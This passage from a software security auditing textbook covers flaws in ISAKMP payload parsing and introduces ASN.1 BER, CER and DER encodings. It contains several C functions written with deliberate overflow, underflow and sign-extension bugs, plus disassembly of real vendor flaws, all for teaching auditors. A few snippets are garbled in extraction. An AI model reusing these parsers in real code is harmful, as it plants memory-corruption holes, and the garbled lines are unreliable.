dealing with this length value are similar to those you might encounter when dealing 

with the ISAKMP header length, but you need to consider some unique factors. First, 

the length field in the payload header is 16 bits, not 32 bits. This means less chance 

of an integer overflow condition occurring unless 16-bit variables are used in the code. 

Even then, the chances of an integer overflow are reduced. To see how this works, 

look at the following code: 

#define ROUNDUP(x) ((x + 7) & 0xFFFFFFF8) 

 

struct _payload { 

    unsigned char type; 

    unsigned short length; 

    unsigned char *data; 

}; 

 

void *mymalloc(unsigned short length) 

{ 

    length = ROUNDUP(length); 

 

    return malloc(length); 

} 

 

struct payload *payload_read(char *srcptr, size_t srcsize, 

       unsigned char type, unsigned char *nexttype) 
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{ 

    struct _payload *payload; 

 

    if(srcsize < 4) 

        return NULL; 

    if((payload = (struct _payload *)calloc(1, 

                   sizeof(struct _payload))) == NULL) 

        return NULL; 

 

    payload->type = type; 

    payload->length = ntohs(*(unsigned short *)(srcptr+2)); 

    *nexttype = *(unsigned char *)srcptr; 

 

    if((payload->data = 

        (unsigned char *)mymalloc(length)) == NULL){ 

        free(payload); 

        return NULL; 

    } 

 

    memcpy(payload->data, srcptr+4, payload->length); 

 

    return payload; 

} 

 

The payload_read() function is vulnerable to a 16-bit integer overflow in the mymalloc() 

call but only because mymalloc() takes a 16-bit argument now (as opposed to a 32-bit 

size_t argument in the previous example). Although possible, it's unlikely that 

developers code allocation routines to deal with only 16-bit values. Still, it does 

happen from time to time and is worth keeping an eye out for. 

Similar to the ISAKMP packet length, payload lengths might underflow if they're 

assumed to be a certain size. Specifically, because the payload size includes the size 

of the payload header (four bytes), code might assume the specified payload length 

is at least four bytes. This assumption might lead to memory corruption, most likely 

a negative memcpy() error. In fact, the CheckPoint VPN-1 ISAKMP implementation had 

two such vulnerabilities when processing ID and certificate payloads. Listing 16-2 

shows the vulnerable portion of the certificate payload-handling code. For this 

example, assume the payload length of the certificate payload is stored in eax and a 

pointer to the payload data is in esi. 

Listing 16-2. Certificate Payload Integer Underflow in CheckPoint ISAKMP 

.text:0042B17A           add   eax, 0FFFFFFFBh 

.text:0042B17D           push   eax 
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.text:0042B17E           push   [ebp+arg_C] 

.text:0042B181           add    esi, 5 

.text:0042B184           push   esi 

.text:0042B185           mov    [edi], eax 

.text:0042B187           call   ebx ; __imp_bcopy 

 

As you can see, no check is done to ensure that the payload length is greater than or 

equal to five before five is subtracted from it. A payload length of four or less results 

in an integer underflow condition, and the result is passed to bcopy(). 

Another issue to watch out for with payload length is the relationship it shares with 

the original length value in the ISAKMP header. Specifically, the following must be 

true: 

Amt of bytes already processed + current payload length <= isakmp packet 

length 

 

If there's no explicit check for this relationship, data could be read out of bounds or a 

memory corruption related to an incorrect integer calculation could be triggered. 

Here's a simple example: 

struct _payload { 

    unsigned char type; 

    unsigned short length; 

    unsigned char *data; 

}; 

 

int payload_process(unsigned char *packet, 

                    size_t length, int firsttype) 

{ 

    char *srcptr; 

    struct _payload *payload; 

    struct _list *list; 

       int rc, type = firsttype; 

 

    list = list_alloc(); 

 

    for(srcptr = packet; length; ){ 

        payload = payload_read(srcptr, length, type, &type); 

 

        if(payload == NULL) 

            return 1; 
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        list_add(list, payload); 

 

        srcptr += payload->length; 

        length -= payload->length; 

    } 

} 

 

Assume the same payload_read() function from the previous examples is being used. 

The payload_read() function in this code simply scans through the ISAKMP packet, 

breaking it up into its constituent payloads, which are placed in a linked list. The 

payload_read() function from previous examples never verifies the length variable 

against the real length of the packet, so it reads data out of bounds. This little error 

causes additional problems during payload_process(). Because length is 

decremented by a value that's too large, it underflows, and length becomes a very 

large number. As a result, this program will probably keep trying to interpret random 

heap data as ISAKMP payloads until it runs off the end of the heap. 

Payload Types 

ISAKMP packets are composed of a series of payloads. Data in each payload is 

interpreted according to its type, as described in the following sections. 

Security Association Payload 

The security association (SA) payload is used in the initial phases of a negotiation 

to specify a domain of interpretation (DOI) and a situation. Figure 16-3 shows the 

structure of the SA payload header: 

Figure 16-3. ISAKMP security association payload header 
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The DOI field describes how the situation data should be interpreted. Currently, there 

are only two DOI values you need to know: 0 and 1. The 0 value specifies a generic 

security association (one that can be used with any protocol), whereas a 1 value 

means an IPsec situation, and the negotiations are for establishing an IPsec key. 

The situation field is composed of a number of encapsulated proposal payloads 

(explained in the next section). SA payloads don't have too many issues (apart from 

dealing with unknown DOIs incorrectly), but an SA payload containing embedded 

proposal payloads establishes a relationship between the length of the SA payload 

and the size of the embedded proposal payloads. These issues are discussed in the 

next section. 

Proposal Payload 

The proposal payload appears inside an SA payload and is used to communicate a 

series of security mechanisms the sender supports. The proposal payload header is 

shown in Figure 16-4. 

Figure 16-4. ISAKMP proposal payload header 

 

 

The first issue is the payload length field. In addition to the standard problems in 

parsing payloads (as discussed in the "Payloads" section), the proposal payload 

length field must be checked against the SA payload length containing it. Because the 

proposal payload field is encapsulated inside the SA, a proposal payload that's larger 

than its containing SA payload can cause problems, as shown in the following 

example: 

unsigned short process_proposal(unsigned char *packet) 

{ 

    unsigned char next, res; 

    unsigned short length; 
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    next = *packet++; 

    res = *packet++; 

 

    length = get16(packet); 

 

    ... process proposal ... 

} 

 

int process_sa_payload(unsigned char *packet, size_t length) 

{ 

    unsigned char next, res; 

    unsigned short payload_length, prop_length; 

    unsigned long doi; 

 

    if(length < 8) 

        return 1; 

 

    next = *packet++; 

    res = *packet++; 

 

    payload_length = get16(packet); 

    packet += 2; 

    doi = get32(packet); 

    packet += 4; 

 

    if(payload_length > length) 

        return 1; 

 

    for(payload_length -= 4; payload_length; 

        payload_length -= prop_length){ 

        prop_length = process_proposal(packet); 

 

        if(trans_length == 0) 

           return -1; 

    } 

    return 0; 

} 

 

This code has some obvious flaws. The process_proposal() function doesn't take a 

length argument! Consequently, the length field in the proposal payload isn't 

validated, and it could point past the end of the SA payload that's supposed to contain 

it. If this happened, the payload_length value in process_sa_payload() would 

underflow, resulting in the program evaluating the SA payload's size incorrectly. This 

error might lead to denial of service or exploitable memory corruption vulnerabilities. 
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The proposal payload contains an 8-bit SPI (Security Parameter Index) size field that 

indicates the length of the SPI that follows. In ISAKMP, the SPI size is usually 0 or 16 

(because the SPI for ISKAMP is the initiator and responder cookies in the ISAKMP 

header). The SPI size in this context is interesting. Applications that parse proposals 

can be vulnerable to incorrectly sign-extending the SPI size or suffer from memory 

corruption issues caused by failure to validate the SPI size against the payload length 

field to ensure that the SPI size is smaller. The SPI size field appears in numerous 

payloads; these issues are discussed in "Notification Payload" later in this chapter. 

Transform Payload 

Transform payloads are encapsulated inside proposal payloads and consist of a 

series of SA attributes that combine to describe a transform (also referred to as a 

"security mechanism"). The structure of a transform payload is shown in Figure 16-5. 

Figure 16-5. ISAKMP transform payload header 

 

 

Like the proposal payload, problems can happen when processing the payload length 

if it's not validated correctly because this payload appears only encapsulated in 

another. 

Key Exchange Payload 

The key exchange payload has a simple structure shown in Figure 16-6. 

Figure 16-6. ISAKMP key exchange payload header 
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The key exchange field contains only one more element than the generic payload: the 

key exchange data field, which contains information required to generate a session 

key. The contents of key exchange data depend on the key exchange algorithm 

selected earlier in the negotiations. There are no parsing complexities in dealing with 

the key exchange payload because keys are usually a precise size for an algorithm. 

However, an unusually large key might result in a buffer overflow if no checks are 

made to ensure that a provided key is the correct size. Take a look at this simple 

example: 

struct _session { 

    int key_type; 

 

    union { 

        unsigned char rsa_key[RSA_KEY_MAX_SIZE]; 

        unsigned char dsa_key[DSA_KEY_MAX_SIZE]; 

    } key; 

 

    ... other stuff ... 

}; 

 

int process_key_payload(struct _session *session, 

                        unsigned char *packet, size_t length) 

{ 

    unsigned char next, res; 

    unsigned short payload_length; 

 

    if(length < 4) 

        return 1; 

 

    next = *packet++; 

    res = *packet++; 

 

    payload_length = get16(packet); 

    packet += 2; 
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    switch(session->key_type){ 

        case RSA: 

            memcpy(session->key.rsa_key, packet, 

                   payload_length); 

            do_rsa_stuff(session); 

            break; 

 

        case DSA: 

            memcpy(session->key.dsa_key, packet, 

                   payload_length); 

            do_dsa_stuff(session); 

            break; 

 

        default: 

            return 1; 

    } 

 

    return 0; 

} 

 

This code carelessly neglects to verify that the specified key isn't larger than 

RSA_KEY_MAX_SIZE or DSA_KEY_MAX_SIZE. If an attacker specified a key larger than 

either size, other structure members could be corrupted as well as the program heap. 

Identification Payload 

The identification payload, shown in Figure 16-7, uniquely identifies the entity 

wanting to authenticate itself to the other party in the communication. 

Figure 16-7. ISAKMP identification payload header 

 

 



The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 

 970 

Identification can be expressed in numerous ways. The identification data in this 

payload has different meanings depending on the specified DOI and ID type. In IPsec 

DOI, the following forms of identification are possible: 

 IP address (IPv4 or IPv6) 

 Fully qualified domain name (FQDN) 

 User FQDN 

 IP subnet (IPv4 or IPv6) 

 IP address range (IPv4 or IPv6) 

 DER-encoded X.500 distinguished name (DN) 

 DER-encoded X.500 general name (GN) 

 Key ID 

Because there's a range of choices for identification, parsing this payload is usually 

involved and has more opportunities for things to go wrong. Most of the ID 

representations are quite simple, but a few issues can occur. First, making 

assumptions about fixed-length fields might lead to simple buffer overflows. In the 

following example, an IP address is being used for identification: 

int parse_identification_payload(unsigned char *packet, 

 

                                 size_t length) 

{ 

    unsigned short payload_length, port; 

    unsigned char next, res; 

    unsigned char type, id; 

    unsigned char ip_address[4]; 

 

    if(length < IDENT_MINSIZE) 

        return 1; 

 

    next = *packet++; 

    res = *packet++; 

 

    payload_length = get16(packet); 

    packet += 2; 

 

    if(payload_length < IDENT_MINSIZE) 

        return 1; 

 

    type = *packet++; 

    id = *packet++; 

 

    port = get16(packet); 

    packet += 2; 
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    payload_length -= IDENT_MINSIZE; 

    switch(type){ 

 

        case IPV4_ADDR: 

            if(payload_length < 4) 

                return 1; 

            memcpy(ip_address, packet, payload_length); 

            break; 

 

    ... other stuff ... 

} 

 

This code has a simple buffer overflow because it's expecting the specified IP address 

to be only four bytes, but there are no length checks to enforce this size. 

A few other fields also involve parsing strings into constituent elements, primarily the 

FQDN method (takes hostnames, such as my.host.com) and user FQDNs (takes 

names and hosts in the form username@my.host.com). The material from Chapter 7(? 

[????.]) is particularly relevant; simple buffer overflows, pointer arithmetic errors, 

off-by-one errors, and incrementing a pointer past a NUL byte are a few things that 

can happen when trying to interpret these fields. 

DER-encoded mechanisms, a binary encoding format discussed in "Distinguished 

Encoding Rules(? [????.])" later in this chapter, have had a host of problems recently, 

mostly integer-related issues. 

Certificate Payload 

As the name suggests, the certificate payload contains certificate data used to 

authenticate one participant in the connection setup to another (usually client to 

server, but it works both ways). Figure 16-8 shows the certificate payload header. 

Figure 16-8. ISAKMP certificate payload header 

 

http://my.host.com/
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The certificate-encoding byte specifies how to interpret the certificate data trailing it. 

RFC 2408 defines these encodings for a certificate: 

 None 

 PKCS#7 wrapped X.509 certificate 

 PGP certificate 

 X.509 certificatesignature 

 X.509 certificatekey exchange 

 Kerberos tokens 

 Certificate Revocation List (CRL) 

 Authority Revocation List (ARL) 

 SPKI certificate 

 X.509 certificateattribute 

What's interesting about the certificate payload is that a certificate can be supplied in 

a multitude of formats, provided the participant supports them. The variety of 

formats makes it possible to use a series of code paths (PGP parsing, Kerberos 

parsing, PKCS parsing, and so on) that need to be flawless; otherwise, the ISAKMP 

application can be exploited by remote unauthenticated clients. 

Certificate Request Payload 

The certificate request payload is used by either participant in a connection to 

request a certificate of its peer. It has an identical structure to the certificate payload, 

except it has certificate authority data instead of certificate data. Certificate authority 

data can be encoded in the same ways certificate data can. 

Hash Payload 

The hash payload contains a hash of some part of the ISAKMP message and is used 

for authentication or message integrity purposes (to prevent third parties from 

changing data en route). The hash payload header is shown in Figure 16-9. 

Figure 16-9. ISAKMP hash payload header 
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The size of the hash data message depends primarily on the hashing algorithm used 

in the ISAKMP session, which is established earlier in the negotiation by using the SA 

payload data. As you can see, there are no extraneous length fields in the hash 

payload or decoding steps, so there are no real complications in parsing a hash 

payload. One thing to look out for, however, might be generic buffer overflows 

resulting from the program failing to verify the hash payload's size. This failure could 

happen when hashes are expected to be a particular size and memory for holding the 

hash data has been preallocated. Therefore, if an abnormally large hash payload is 

supplied, a generic buffer overflow would occur. 

Hash data is used to verify message integrity by using message data as input to a 

hashing function, which calculates a value and stores it in the hash payload. When the 

receiving party applies the same algorithm to the data, any modifications result in 

inconsistencies with the hash payload data. 

Signature Payload 

The signature payload is much like the hash payload, except it contains data 

created by the selected digital signature algorithm (if signatures are in use) rather 

than data the hash function created. The signature payload is shown in Figure 16-10. 

Figure 16-10. ISAKMP signature payload header 

 

 

Like the hash payload, signature payloads have no additional complications, except 

they might be expected to be a specific size. If so, abnormally large messages might 

not be handled correctly. 

Nonce Payload 

The nonce payload contains random data used for generating hashes with certain 

protocols. It's used to help guarantee uniqueness of a key exchange and prevent 

against man-in-the-middle attacks. The nonce payload is shown in Figure 16-11. 

Figure 16-11. ISAKMP nonce payload header 
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Again, the nonce payload has no additional complications other than general 

payload-parsing problems. As with hash and signature payloads, nonce payloads that 

are unusually large might cause problems if no length validation is done on the 

payload. 

Notification Payload 

The notification payload conveys information about an error condition that has 

occurred during protocol exchange. It does this by transmitting a type code that 

represents a predefined error condition encountered during processing. Figure 16-12 

shows the notification payload. 

Figure 16-12. ISAKMP notification payload header 

 

 

This payload has a slightly more complex structure than the previous payloads. It's 

obviously required to be a minimum size (12 bytes, plus the size of the SPI and 

notification data). Failure to ensure that the payload is at least this size might lead to 
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vulnerabilities similar to those in general payload types of a size smaller than four. An 

example of an invalid notification payload parser is shown: 

int parse_notification_payload(unsigned char *data, size_t length) 

{ 

    unsigned long doi; 

    unsigned short mtype; 

    unsigned char spi_size, protocol_id; 

 

    doi = get_32(data); 

    protocol_id = get_8(data+4); 

    spi_size = get_8(data+5); 

    mtype = get_16(data+6); 

 

    length -= 8; 

    data += 8; 

 

    ... get SPI and notification data ... 

} 

 

You can see a vulnerability with the way length is subtracted. No check is made to 

ensure that length is at least eight bytes to start, so an unexpected small notification 

payload results in an integer underflow that likely leads to memory corruption. 

Although this bug is much the same as the one in general payloads with a length less 

than four, this error of small notification payloads is slightly more likely to occur in 

code you audit. The reason is that ISAKMP implementations commonly have generic 

payload parsers that sort packets into structures, and these parsers tend to be more 

robust than individual payload parsers because they have been through more 

rigorous testing. 

Note 

In a review of several popular implementations at one stage, Neel Mehta and Mark 

Dowd found that generic packet parsers seem to be safe in general, but specific 

payload handling was often performed by much less robust code. 

 

Another element of interest in the notification payload is the SPI size parameter. RFC 

2408 describes this field as follows: 

SPI Size (1 octet) - Length in octets of the SPI as defined by the Protocol-ID. In the 

case of ISAKMP, the Initiator and Responder cookie pair from the ISAKMP Header is 

the ISAKMP SPI; therefore, the SPI Size is irrelevant and MAY be from zero (0) to 
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sixteen (16). If the SPI Size is non-zero, the content of the SPI field MUST be ignored. 

The Domain of Interpretation (DOI) will dictate the SPI Size for other protocols. 

As stated, the SPI size in an ISAKMP packet should be a value between 0 and 16 

(inclusive). Whenever a field in a protocol can represent more values than are legal, 

there's the potential for causing problems if developers neglect to check for illegal 

values correctly. Also, because SPI size is a single-byte field, remember there's the 

possibility of sign-extension vulnerabilities for illegal values, as in the following 

example: 

int parse_notification_payload(char *data, size_t length) 

{ 

    long doi; 

    unsigned short mtype, payload_size, notification_size; 

    char spi_size, protocol_id; 

 

    payload_size = ntohs(*(data+2)); 

    spi_size = *(data+6); 

 

    if(spi_size > payload_size) 

        return 1; 

 

    notification_size = payload_size  spi_size; 

 

    ... do more stuff ... 

} 

 

A couple of typing issues make this code vulnerable to attack. First, there's a 

sign-extension issue in the comparison of spi_size and payload_size. Because 

spi_size is a signed character data type, when the integer promotion occurs, 

spi_size is sign-extended. So if the top bit is set, all bits in the most significant three 

bytes are also set (making spi_size a negative 32-bit integer). Usually, when 

comparing against an unsigned value, spi_size is cast to unsigned as well, but 

because payload_size is an unsigned short value (which is only 16 bits), it's also 

promoted to a signed 32-bit integer; so this comparison is a signed comparison. 

Therefore, a negative spi_size causes notification_size to contain an incorrect 

value that's larger than payload_size. (payload_size with a negative integer 

subtracted from it is just like an addition.) 

Second, you might have noticed that SPI is directly related to the payload size. So 

failure to ensure that it's less than the payload size also results in an integer 

underflow condition (or memory corruption) that might allow reading arbitrary data 

from the process memory. 
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Delete Payload 

The delete payload is used to inform a responder that the initiator has invalidated 

certain SPIs. The structure of a delete payload is shown in Figure 16-13. 

Figure 16-13. ISAKMP delete payload header 

 

 

Vulnerabilities from processing a delete payload might be similar to those from 

processing a notification payload because delete payloads also have a predefined 

minimum size requirement and contain the SPI size. The SPI size has a slightly 

different meaning in the delete payload, however. The delete payload supplies 

multiple SPIs, each one the size indicated by the SPI size. The SPI count parameter 

indicates how many SPIs are included in this payload, so the total number of bytes of 

SPI data in a delete payload is the multiplication of these two fields. This 

multiplication might introduce two additional complications; the first is sign 

extensions of the SPI size or SPI count because they result in a multiplication integer 

wrap, as shown in the following code: 

int process_delete(unsigned char *data, size_t length) 

{ 

    short spi_count; 

    char spi_size, *spi_data; 

    int i; 

 

    ... read values from data ... 

 

    spi_data = (char *)calloc(spi_size*spi_count, sizeof(char)); 

 

    data += DELETE_PAYLOAD_SIZE; 

    for(i = 0; i < spi_count; i++){ 

        if(read_spi(data+(i*spi_size)) < 0){ 
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            free(spi_data); 

            return 1; 

        } 

    } 

 

    ... more stuff ... 

} 

 

The allocation of spi_data is going to be an incorrect size if spi_size or spi_count is 

negative. Both values are sign-extended, so multiplication results in an incorrect size 

allocation. 

The second complication caused by multiplying two fields is the possibility of 16-bit 

integer wraps if a program uses 16-bit size variables in certain areas, as shown in the 

following example: 

int process_delete(unsigned char *data, size_t length) 

{ 

    unsigned short spi_count, total_size; 

    unsigned char spi_size, *spi_data; 

    int i; 

 

    ... read values from data ... 

 

    total_size = spi_size * spi_count; 

 

    spi_data = (char *)calloc(total_size, sizeof(char)); 

 

    data += DELETE_PAYLOAD_SIZE; 

 

    for(i = 0; i < spi_count; i++){ 

        if(read_spi(data+(i*spi_size)) < 0){ 

            free(spi_data); 

            return 1; 

        } 

    } 

    ... more stuff ... 

} 

 

Disaster! Because total_size is only 16 bits in this function, causing an integer wrap 

when multiplying spi_count and spi_size is possible. This error results in a very small 

allocation with a fairly large amount of data read into it. 
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Vendor ID Payload 

The vendor ID payload simply contains data to uniquely identify vendors. The 

content of a vendor ID payload is supposed to be a hash of the vendor and the 

software version the sender uses, but it can be anything that uniquely identifies the 

vendor. Clients and servers typically send it during the initial phase of negotiation, 

but it's not a required payload. The only problem when dealing with a vendor ID is if 

a version parser interprets the data in some manner or the vendor ID is blindly copied 

into a buffer without first checking that it fits in that buffer, as in this example: 

#define MYVERSION    "MyISAKMPVersion" 

 

int parse_version(struct _payload *vendor) 

{ 

    char buffer[1024]; 

 

    if(vendor->length != sizeof(MYVERSION) || memcmp(vendor->data, 

MYVERSION, sizeof(MYVERSION)){ 

        sprintf(buffer, "warning, unknown client version: %s\n", 

                vendor->data); 

        log(buffer); 

        return 0; 

     } 

 

     return 1; 

} 

 

Obviously, a straightforward buffer overflow exists if a vendor ID larger than 1,024 

bytes is supplied to the parse_version() function. 

Encryption Vulnerabilities 

ISAKMP is now a widely accepted and used standard, and finding 

cryptography-related problems in applications that implement public protocols is 

much harder. The reason is that standards committees usually have a protocol 

scrutinized before accepting it, and then spell out to application developers how to 

implement cryptographic components. Still, vulnerabilities occur from time to time in 

cryptography implementations of protocols, so you need to be aware of potential 

attack vectors that might allow decrypting communications, along with other issues. 

Over time, some generic attacks against ISAKMP when operating in various modes 

(especially aggressive mode) have taken place. In late 1999, John Pliam published an 

interesting paper detailing several attacks related to weak preshared secrets 

(www.ima.umn.edu/~pliam/xauth/). In 2003, Michael Thumann and Enno Rey 

demonstrated an attack against ISAKMP in aggressive mode that allowed them to 

http://www.ima.umn.edu/~pliam/xauth/
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discover preshared keys (PSKs). This presentation is available at 

www.ernw.de/download/pskattack.pdf. It's entirely possible that implementations 

are still vulnerable to these attacks if they support aggressive mode and make use of 

PSKs. Apart from finding new and exciting ways to break ISAKMP's cryptography 

model, the only other thing left to do is ensure that the implementation you're 

examining conforms to the specification exactly. In most cases, it does; otherwise, it 

wouldn't work with other VPN clients. 

8.3.5 Abstract Syntax Notation (ASN.1) 

Abstract Syntax Notation (ASN.1) is an abstract notational format designed to 

represent simple and complex objects in a machine-independent format 

(http://asn1.elibel.tm.fr/standards/). It's an underlying building block used for data 

transmission in several major protocols, including (but not limited to) the following: 

 Certificate and key encoding Primarily used in SSL and ISAKMP, but also used 

in other places, such as PGP-encoded keys. 

 Authentication information encoding Microsoft-based operating systems use 

ASN.1 extensively for transmitting authentication information, particularly 

when NTLM authentication is used. 

 Simple Network Management Protocol (SNMP) Objects are encoded with 

ASN.1 in SNMP requests and replies. 

 Identity encoding Used in ISAKMP implementations to encode identity 

information. 

 Lightweight Directory Access Protocol (LDAP) Objects communicated over 

LDAP also use ASN.1 as a primary encoding scheme. 

ASN.1 is used by quite a few popular protocols on the Internet, so vulnerabilities in 

major ASN.1 implementations could result in myriad exploitable attack vectors. 

As always, when encountering a protocol for the first time, you should analyze the 

blocks of data that are going to be interpreted by remote nodes first to get a basic 

understanding of how things work and discover some hints about what's likely to go 

wrong. 

ASN.1 is not a protocol as such, but a notational standard for expressing some 

arbitrary protocol without having to define an exact binary representation (an 

abstract representationhence the name). Therefore, to transmit data for a protocol 

that uses ASN.1, some encoding rules need to be applied to the protocol definitions. 

These rules must allow both sides participating in data exchange to accurately 

interpret information . There are three standardized methods for encoding ASN.1 

data: 

 Basic Encoding Rules (BER) 

 Packed Encoding Rules (PER) 

http://www.ernw.de/download/pskattack.pdf
http://asn1.elibel.tm.fr/standards/
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 XML Encoding Rules (XER) 

Auditing applications that use ASN.1 means you're auditing code that implements one 

of these encoding standards. So you need to be familiar with how these encoding 

rules work, and then you can apply the lessons learned earlier in Part II(? [????.]) of 

this book. 

Before you jump into the encoding schemes, take a look at the data types defined by 

the ASN.1 notational standard, so you know what kind of data elements you are 

actually going to be encoding. Types for ASN.1 are divided into four classes: 

 Universal Universal tags are for data types defined by the ASN.1 standard 

(listed in Table 16-1). 

Table 16-1. ASN.1 Universal Data Types 

Universal Identifier Data Type 

0 Reserved 

1 Boolean 

2 Integer 

3 Bit string 

4 Octet string 

5 Null 

6 Object identifier 

7 Object descriptor 

8 Extended and instance-of 

9 Real 

10 Enumerated type 

11 Embedded PDV 

12 UTF-8 string 

13 Relative object identifier 

14 Reserved 

15 Reserved 

16 Sequence and sequence-of 

17 Set and set-of 

18 Numeric character string 
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Table 16-1. ASN.1 Universal Data Types 

Universal Identifier Data Type 

19 Printable character string 

20 Teletex character string 

21 Videotex character string 

22 International alphabet 5 (IA5) character string 

23 UTC time 

24 Generalized time 

25 Graphic character string 

26 Visible character string 

27 General character string 

28 Character string 

29 Character string 

30 Character string 

  

 Application Tags that are unique to an application. 

 Context-specific These tags are used to identify a member in a constructed 

type (such as a set). 

 Private Tags that are unique in an organization 

Of these classes, only universal types, summarized in Table 16-1, are defined by the 

ASN.1 standard; the other three are for private implementation use. 

ASN.1 also distinguishes between primitive and constructed types. Primitive types 

are those that can be expressed as a simple value (such as an integer, a Boolean, or 

an octet string). Constructed types are composed of one or more simple types and 

other constructed types. Constructed types can be sequences (SEQUENCE), lists 

(SEQUENCE-OF, SET, and SET-OF), or choices. 

Note 

There's no tag value for choices because they are used when several different types 

can be supplied in the data stream, so choice values are untagged. 

 

 

Basic Encoding Rules 
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Basic Encoding Rules (BER) defines a method for encoding ASN.1 data suitable for 

transmission across the network. It's a deliberately ambiguous standardthat is, it 

allows objects to be encoded in several different ways. The rules were invented with 

this flexibility in mind so they can deal with different situations where ASN.1 might be 

used. Some encodings are more useful when objects are small and need to be easy to 

traverse; other encodings are more suited to applications that transmit large objects. 

The BER specification describes BER-encoded data as consisting of four components, 

described in the following sections: an identifier, a length, some content data, and an 

end-of-contents (EOC) sequence. 

Identifier 

The identifier field represents the tag of the data type being processed. The first byte 

comprises several fields, as shown in Figure 16-14. 

Figure 16-14. BER identifier fields 

 

 

The fields in this byte are as follows. 

 Class (2 bits) The class of the data type, which can be universal (0), 

application (1), context-specific (2), or private (3). 

 P/C (1 bit) Indicates whether the field is primitive (value of 0) or constructed 

(value of 1). 

 Tag number (5 bits) The actual tag value. If the tag value is less than or equal 

to 30, it's encoded as a normal byte value in the lower 5 bits. If the tag value 

is larger than 30, all tag bits are set to 1, and the tag value is specified by a 

series of bytes following the tag byte. Each byte uses the lower 7 bits to 

represent part of the tag value and the top bit to indicate whether any more 

bytes follow. So if all tag bits are set to 1, an indefinite number of tag bytes 

follow, and processing stops when a byte with a clear top bit is encountered. 

To encode the value 0x3333, for example, the 0xFF 0xD6 0x33 byte sequence 

would be used. The lead byte can vary, depending on whether the value is 

universal or private, constructed, or primitive. 

Length 

The length field, as the name suggests, indicates how many bytes are in the current 

object. It can indicate a definite or an indefinite length for the object. An indefinite 

length means the object length is unknown and is terminated with a special EOC 
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sequence. According to the specification (X.690-0207), an indefinite length field 

should be used only for a constructed sequence (see the explanation of primitive and 

constructed types after Table 16-1). An indefinite length is indicated simply by a 

single-length byte with the top bit set and all other bits clear (so the value of the byte 

is 0x80). The rules for indicating a definite length are as follows: 

 For a length value of 127 or less, a single octet is supplied, in which the length 

value is supplied in the lower 7 bits and the top bit is clear. For example, to 

express a length of 100, the byte 0x64 would be supplied. 

 For a length value larger than 127, the top bit is set and the low 7 bits are used 

to indicate how many length octets follow. For example, to indicate a length of 

65,535, you would supply the following bytes: 0x82 0xFF 0xFF. 

Contents 

The contents depend on the tag type indicating what type of data the object contains. 

End of Character 

The EOC field is required only if this object has an indefinite length. The EOC sequence 

is two consecutive bytes that are both zero (0x00 0x00). 

Canonical Encoding and Distinguished Encoding 

Distinguished Encoding Rules (DER) and Canonical Encoding Rules (CER) are subsets 

of BER. As mentioned, BER is ambiguous in some ways. For example, you could 

encode a length of 100 in a few different ways, as shown in the following list: 

 0x64 Single-byte encoding 

 0x81 0x64 Multi-byte encoding 

 0x82 0x00 0x64 Multi-byte encoding 

CER and DER limit the options BER specifies for various purposes, as explained in the 

following sections. 

Canonical Encoding Rules 

Canonical Encoding Rules (CER) are intended to be used when large objects are 

being transmitted; when all the object data isn't available; or when object sizes aren't 

known at transmission time. CER uses the same encoding rules as BER, with the 

following provisions: 

 Constructed types must use an indefinite length encoding. 

 Primitive types must use the fewest encoding bytes necessary to express the 

object size. For example, an object with a length of 100 can give the length 

only as a single byte, 0x64. Any other length expressions are illegal. 
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Restrictions are also imposed on string and set encodings, but they aren't covered 

here. For more information, see Chapter 9(? [????.]) of the X.690-207 standard. 

Distinguished Encoding Rules 

Distinguished Encoding Rules (DER) are intended to be used for smaller objects 

in which all bytes for objects are available and the lengths of objects are known at 

transmission time. DER imposes the following provisions on the basic BER encoding 

rules: 

 All objects must have a definite length encoding; there are no indefinite length 

objects (and, therefore, no EOC sequences on objects encoded with DER). 

 The length encoding must use the fewest bytes necessary for expressing a size 

(as with CER). 

Vulnerabilities in BER, CER, and DER Implementations 

Now that you know how objects are encoded in BER, you might have an idea of 

possible vulnerabilities in typical implementations. As you can see, BER 

implementations can be complex, and there are many small pitfalls that can happen 

easily. The following sections explain a few of the most common. 

Tag Encodings 

Tags contain multiple fields, some combinations of which are illegal in certain 

incarnations of BER. For example, in CER, an octet string of less than or equal to 

1,000 bytes must be encoded using a primitive form rather than a constructed form. 

Is this rule really enforced? Depending on what code you're examining, this rule could 

be important. For example, an IDS decoding ASN.1 data might apply CER rules 

strictly, decide this data is erroneous input, and not continue to analyze object data; 

the end implementation, on the other hand, might be more relaxed and accept the 

input. Apart from these situations, failure to adhere to the specification strictly might 

not cause security-relevant consequences. 

Another potential issue with tag encodings is that you might trick an implementation 

into reading more bytes than are available in the data stream being read, as shown in 

this example: 

int decode_tag(unsigned char *ptr, int *length, 

 

               int *constructed, int *class) 

{ 

    int c, tagnum; 

    *length = 1; 
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    c = *ptr++; 

 

    *class = (c & C0) >> 6; 

    *constructed = (c & 0x20) ? 1 : 0; 

    tagnum = c & 0x1F; 

 

    if(tagnum != 31) 

        return tagnum; 

 

    for(tagnum = 0, (*length)++; (c = *ptr) & 0x80; 

        ptr++, (*length)++){ 

        tagnum <<= 7; 

        tagnum |= (c & 0x7F); 

    } 

 

    return tagnum; 

} 

 

int decode_asn1_object(unsigned char *buffer, size_t length) 

{ 

    int constructed, header_length, class, tag; 

 

    tag = decode_tag(buffer, &header_length, 

                     &constructed, &class); 

 

    length -= header_length; 

    buffer += header_length; 

 

    ... do more stuff ... 

} 

 

This code has a simple error; the header_length can be made longer than length in 

decode_asn1_object(), which leads to an integer underflow on length. This error 

results in processing random data from the process heap or possibly memory 

corruption. 

Length Encodings 

Many ASN.1 vulnerabilities have been uncovered in length encoding in the past. A few 

things might go wrong in this process. First, in multibyte length encodings, the first 

byte indicates how many length bytes follow. You might run into vulnerabilities if the 

length field is made to be more bytes than are left in the data stream (similar to the 

tag encoding vulnerability examined previously). 
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Second, when using the extended length-encoding value, you can specify 32-bit 

integers; as you already know, doing so can lead to all sorts of problems, usually 

integer overflows or signed issues. Integer overflows are common when the length 

value is rounded before an allocation is made. For example, eEye discovered this 

overflow in the Microsoft ASN.1 implementation. Some annotated assembly code 

taken from the eEye advisory 

(www.eeye.com/html/research/advisories/AD20040210-2.html) is shown: 

76195338 mov eax, [ebp-18h] ; = length of simple bit string 

7619533B cmp eax, ebx ; (EBX = 0) 

7619533D jz short 7619539A ; skip this bit string if empty 

7619533F cmp [ebp+14h], ebx ; = no-copy flag 

76195342 jnz short 761953AF ; don't concatenate if no-copy 

76195344 mov ecx, [esi] ; = count of accumulated bits 

76195346 lea eax, [ecx+eax+7] ; *** INTEGER OVERFLOW *** 

